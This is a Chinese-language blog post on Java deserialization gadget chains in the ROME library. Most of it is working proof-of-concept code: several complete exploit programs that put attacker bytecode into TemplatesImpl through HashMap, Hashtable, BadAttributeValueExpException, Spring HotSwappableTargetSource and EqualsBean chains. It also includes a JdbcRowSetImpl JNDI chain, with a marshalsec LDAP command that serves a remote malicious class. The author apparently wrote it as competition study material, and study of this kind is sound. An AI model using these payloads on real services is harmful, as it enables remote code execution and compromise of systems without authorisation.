ROME 是一个关于 RSS 和 Atom 格式的 java 框架
那什么是 RSS 和 Atom 呢?
RSS 全称:RDF Site Summary 或 Really Simple Syndication,中文翻译为简易信息聚合,也叫做聚合内容。它是一种消息来源的格式,主要作用用在聚合多个网站的更新内容,并且能够自动通知网站订阅者。同时 RSS 能够以摘要的形式将信息呈现,帮助订阅者快速游览。
Atom 具体的名称是 Atom Syndication Format ,中文译为 Atom 供稿格式。Atom 的诞生是为了解决 RSS 在各个版本遇到的问题,降低 web 内容聚合的难度,特地特出来的一种信息格式。
RSS 的内容需要通过 RSS 阅读器查看,而 ROME 就是其中一个比较老的 RSS 阅读器了。
依赖:
1 2 3 4 5
| <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>
|
影响版本不造,应该是rome<=1.0
ROME漏洞点
位于com.sun.syndication.feed.impl.ToStringBean的toString方法,可以invoke反射执行方法。
我们完整的读一下这个toString方法
先调用BeanIntrospector.getPropertyDescriptors,接着调用getPDs
getPDs调用getMethods()获取了类的所有方法,再调用另一个双参数的getPDs分别获取getter和setter方法。把一个字段对应的getter和setter合并到一个List。
再回到toString,循环getPropertyDescriptors读到的getter,setter组合,用getReadMethod取出getter方法。
如果这个字段的getter满足三个条件:
- 不为空(字段有对应的getter方法)
- 这个getter不是Object.class的方法(getDeclaringClass获取成员所在的类)
- 无参
如果满足,就调用这个getter
回忆在攻击我
我猛地一下想起打shiro CB依赖的过程
PropertyUtils.getProperty触发TemplatesImpl.getOutputProperties
进而触发newTransformer
这是ROME依赖第二个漏洞触发点
_obj和参数obj都不为空,且_beanClass和obj类型相同时,进入try块
和ToStringBean#toString一样的流程,同时执行了_obj和obj的getter方法
OK,直接开始构造链吧,懒得截图分析了
ROME反序列化链
ObjectBean链
利用链
1 2 3 4 5 6 7 8
| HashMap<K,V>.readObject(ObjectInputStream) HashMap<K,V>.hash(Object) ObjectBean.hashCode() EqualsBean.hashCode() EqualsBean.beanHashCode() ToStringBean.toString() ToStringBean.toString(String) TemplatesImpl.getOutputProperties()
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package org.exploit.third.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Rome { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } TemplatesImpl fakeTemplates = new TemplatesImpl(); ToStringBean toStringBean = new ToStringBean(Templates.class, fakeTemplates);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean); HashMap hashMap = new HashMap(); hashMap.put(objectBean, "godown"); Field toStringBean_objField = ToStringBean.class.getDeclaredField("_obj"); toStringBean_objField.setAccessible(true); toStringBean_objField.set(toStringBean, templatesClass); serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
HashTable链
适用于HashMap被ban的情况
利用链
1 2 3 4 5 6 7 8
| HashTable.readObject(ObjectInputStream) HashTable.reconstitutionPut() ObjectBean.hashCode() EqualsBean.hashCode() EqualsBean.beanHashCode() ToStringBean.toString() ToStringBean.toString(String) TemplatesImpl.getOutputProperties()
|
HashTable.readObject会对每个键值对调用reconstitutionPut
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Hashtable;
public class Rome_HashTable { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } TemplatesImpl fakeTemplates = new TemplatesImpl(); ToStringBean toStringBean = new ToStringBean(Templates.class, fakeTemplates);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean); Hashtable hashtable = new Hashtable(); hashtable.put(objectBean, "godown"); Field toStringBean_objField = ToStringBean.class.getDeclaredField("_obj"); toStringBean_objField.setAccessible(true); toStringBean_objField.set(toStringBean, templatesClass); serialize(hashtable); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
BadAttributeValueExpException
CC5入口
利用链
1 2 3 4 5
| BadAttributeValueExpException.readObject() Byte.toString() ToStringBean.toString() ToStringBean.toString(String) TemplatesImpl.getOutputProperties()
|
注意构造函数的三元表达式意思为:将输入参数 val 转换为字符串并赋值给 this.val。若 val 为 null,则 this.val 也设为 null。所以这里不能传ToStringBean。传了的话val值为ToStringBean.toString(),然后链式触发到报错
走到readObject的else if,因为没设置安全管理器触发toString
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package org.exploit.third.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Hashtable;
public class Rome_BadAttributeValueExpException { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } ToStringBean toStringBean = new ToStringBean(Templates.class, templatesClass); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, toStringBean); serialize(badAttributeValueExpException); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
HotSwappleTargetSource链
spring的toString链
需要再加个spring依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.3.28</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.28</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.28</version> </dependency>
|
HotSwappableTargetSource 位于org.springframework.aop.target
包下,可以在代理 bean 运行的过程中,动态实时更新 bean 对象,也就是热加载
利用链
1 2 3 4 5
| HashMap.readObject HashMap.putVal HotSwappableTargetSource.equals XString.equals ToStringBean.toString
|
其中HostSwappableTargetSource.equals,需要传另一个HotSwappableTargetSource,才能取到Target
触发key.equals并传入我们需要的参数k,在上次分析jdk7u21时讲过了
https://godownio.github.io/2024/09/18/jdk7u21-jdk8u20-yuan-sheng-unserialize/#%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E8%A7%A6%E5%8F%91equalsImpl
key.equals(k)。先put进参数k,再put进key
这里之所以能直接走进else里,是因为HotSwappableTargetSource.hashCode都是返回同一个值
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package org.exploit.third.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class rome_HotSwappableTargetSource { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } TemplatesImpl fakeTemplates = new TemplatesImpl(); ToStringBean toStringBean = new ToStringBean(Templates.class, fakeTemplates); XString xString = new XString(null);
HotSwappableTargetSource hotSwappableTargetSource_InputObj = new HotSwappableTargetSource(toStringBean); HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(xString);
HashMap hashMap = new HashMap(); hashMap.put(hotSwappableTargetSource_InputObj,"godown"); hashMap.put(hotSwappableTargetSource,"godown"); Field toStringBean_objField = ToStringBean.class.getDeclaredField("_obj"); toStringBean_objField.setAccessible(true); toStringBean_objField.set(toStringBean, templatesClass); serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
(jdk8 putVal()并没有jdk7u21 put要hash碰撞进入循环才能执行equals
你甚至可以类似7u21在外面套个HashSet或者LinkedHashSet。。好神金哈哈
套LinkedHashSet神金POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package org.exploit.third.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.LinkedHashSet;
public class ROME_HotSwappable_LinkedHashSet { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } TemplatesImpl fakeTemplates = new TemplatesImpl(); ToStringBean toStringBean = new ToStringBean(Templates.class, fakeTemplates); XString xString = new XString(null);
HotSwappableTargetSource hotSwappableTargetSource_InputObj = new HotSwappableTargetSource(toStringBean); HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(xString);
LinkedHashSet linkedHashSet = new LinkedHashSet(); linkedHashSet.add(hotSwappableTargetSource_InputObj); linkedHashSet.add(hotSwappableTargetSource); Field toStringBean_objField = ToStringBean.class.getDeclaredField("_obj"); toStringBean_objField.setAccessible(true); toStringBean_objField.set(toStringBean, templatesClass); serialize(linkedHashSet); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
JdbcRowSetImpl链
利用链:
1 2 3 4 5 6 7 8 9
| HashMap<K,V>.readObject(ObjectInputStream) HashMap<K,V>.hash(Object) ObjectBean.hashCode() EqualsBean.hashCode() EqualsBean.beanHashCode() ToStringBean.toString() ToStringBean.toString(String) JdbcRowSetImpl.getDatabaseMetaData BaseRowSet.getDataSourceName
|
适用于过滤了TemplatesImpl的情况
JdbcRowSetImpl.getDatabaseMetaData调用了connect
connect里调用了InitialContext.lookup
进一步调用了getURLOrDefaultInitCtx(name).lookup(name)
直接转JNDI注入了,本地恶意类Path起一个http服务,marshalsec起一个ldap服务:
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#RuntimeEvil 1099
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import java.io.IOException; import java.util.HashMap;
public class Rome_JdbcRowSetImpl { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSetImpl = new JdbcRowSetImpl(); jdbcRowSetImpl.setDataSourceName("ldap://fake/#JNDI_RuntimeEvil"); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSetImpl); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean); HashMap hashMap = new HashMap(); hashMap.put(objectBean,"godown"); jdbcRowSetImpl.setDataSourceName("ldap://127.0.0.1:1099/#JNDI_RuntimeEvil"); serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
适用于jdk8<8u191,大于这个版本请转高版本绕过
EqualsBeans链
触发点在EqualsBeans.beanEquals,适用于ToStringBean被ban的情况,原理见1.2
利用链
1 2 3 4 5 6 7 8
| HashSet.readObject HashMap.put HashMap.putval HashMap.equals Abstractmap.equals EqualsBean.equals EqualsBean.beanEquals TemplatesImpl.getOutputProperties()
|
或者
1 2 3 4 5 6 7
| HashTable.readObject(ObjectInputStream) HashTable.reconstitutionPut() HashMap.equals AbstractMap.equals EqualsBean.equals EqualsBean.beanEquals TemplatesImpl.getOutputProperties()
|
同理能用LinkedHashSet封装,也可以beanEquals.equals接前面提到的链套娃
HashSet or HashMap链
我们构造到去触发hashMap.equals时,发现走不进那个else
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } TemplatesImpl fakeTemplates = new TemplatesImpl(); EqualsBean equalsBean = new EqualsBean(Templates.class, templatesClass);
HashMap hashMap = new HashMap(); hashMap.put(fakeTemplates, "godown"); hashMap.put(equalsBean, "godown"); }
|
原来是在if停住了,由于我们传入的fakeTemplates和equalsBean不是同一类型,在if中把第二次put的Entry插入了哈希表,而没去else判断二者equals
这里得使p = tab[i = (n - 1) & hash]
,也就是(n-1)&hash
有元素,what,不就是前后put的hash(key)相同吗
莫名想起7u21进行hash碰撞,可惜7u80进行了修复,AnnotationInvocationHandler只能代理Annotation类型,适用面很窄
先假设,我们能走到equals方法
hashMap并没有equals方法,调用的是其继承的抽象类,AbstractMap.equals
我们来仔细分析一下这个方法:
判断o是否为Map类型,不是则返回false。确认两者的大小是否相同,不同则返回false。
遍历当前Map的所有键值对:
- 如果当前Map value为null,检查o中的对应键是否存在且其值也为null。
- 如果当前Map value不为null,则调用value.equals(m.get(key))比较两个值是否相等。
有任何不匹配即返回false。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public boolean equals(Object o) { if (o == this) return true;
if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false;
try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; }
return true; }
|
可见这个AbstractMap.equals是用来检查两个map是否相同的
我们构造两个hashMap,使value = equalsBean,m.get(key) = fakeTemplates,就能实现利用链,注意put的先后顺序。先put的作为参数o(m),后put的作为i。且m.get(key)是返回value
1 2 3 4 5 6 7
| HashMap hashMap = new HashMap(); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put(1, fakeTemplates); hashMap2.put(1, equalsBean); hashMap.put(hashMap1, "godown"); hashMap.put(hashMap2, "godown");
|
那怎么走进else呢,我们构造两个看上去相同的hashMap,这样可以吗
1 2 3 4 5 6 7 8 9
| HashMap hashMap = new HashMap(); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put(1, fakeTemplates); hashMap1.put(1, equalsBean); hashMap2.put(1, fakeTemplates); hashMap2.put(1, equalsBean); hashMap.put(hashMap1, "godown"); hashMap.put(hashMap2, "godown");
|
答案是不行,因为两次相同的put会刷新值,导致只存在(1, equalsBean)
1 2
| hashMap1.put(1, fakeTemplates); hashMap1.put(1, equalsBean);
|
需要有两个hash值相同的,但是本身不同的作为key,”yy”的hash值等于”zZ”,于是:
1 2 3 4 5 6 7 8 9
| HashSet hashSet = new HashSet(); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("zZ", fakeTemplates); hashMap1.put("yy", equalsBean); hashMap2.put("zZ", equalsBean); hashMap2.put("yy", fakeTemplates); hashSet.add(hashMap1); hashSet.add(hashMap2);
|
HashSet POC:(HashSet可改为HashMap)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package org.exploit.third.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import org.apache.shiro.crypto.hash.Hash;
import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.HashSet;
public class Rome_EqualsBeans { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } TemplatesImpl fakeTemplates = new TemplatesImpl(); HashMap fakehashMap = new HashMap(); EqualsBean equalsBean = new EqualsBean(HashMap.class, fakehashMap);
HashSet hashSet = new HashSet(); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("zZ", fakeTemplates); hashMap1.put("yy", equalsBean); hashMap2.put("zZ", equalsBean); hashMap2.put("yy", fakeTemplates); hashSet.add(hashMap1); hashSet.add(hashMap2); Field _beanClassField = EqualsBean.class.getDeclaredField("_beanClass"); _beanClassField.setAccessible(true); _beanClassField.set(equalsBean, Templates.class); Field _objField = EqualsBean.class.getDeclaredField("_obj"); _objField.setAccessible(true); _objField.set(equalsBean, templatesClass); serialize(hashSet); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
HashTable链
用HashTable.reconstitutionPut触发equals
一样的hash碰撞才能进for循环
HashTable POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package org.exploit.third.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import org.apache.shiro.crypto.hash.Hash;
import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.HashSet; import java.util.Hashtable;
public class Rome_EqualsBeans { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } TemplatesImpl fakeTemplates = new TemplatesImpl(); HashMap fakehashMap = new HashMap(); EqualsBean equalsBean = new EqualsBean(HashMap.class, fakehashMap);
Hashtable hashtable = new Hashtable(); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("zZ", fakeTemplates); hashMap1.put("yy", equalsBean); hashMap2.put("zZ", equalsBean); hashMap2.put("yy", fakeTemplates); hashtable.put(hashMap2,1); hashtable.put(hashMap1,2); Field _beanClassField = EqualsBean.class.getDeclaredField("_beanClass"); _beanClassField.setAccessible(true); _beanClassField.set(equalsBean, Templates.class); Field _objField = EqualsBean.class.getDeclaredField("_obj"); _objField.setAccessible(true); _objField.set(equalsBean, templatesClass); serialize(hashtable); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
总结
ROME链其实跟个小训练一样,根据调用链能自己很轻松地写出payload。下个月打华为杯别拖人后腿啊!fighting!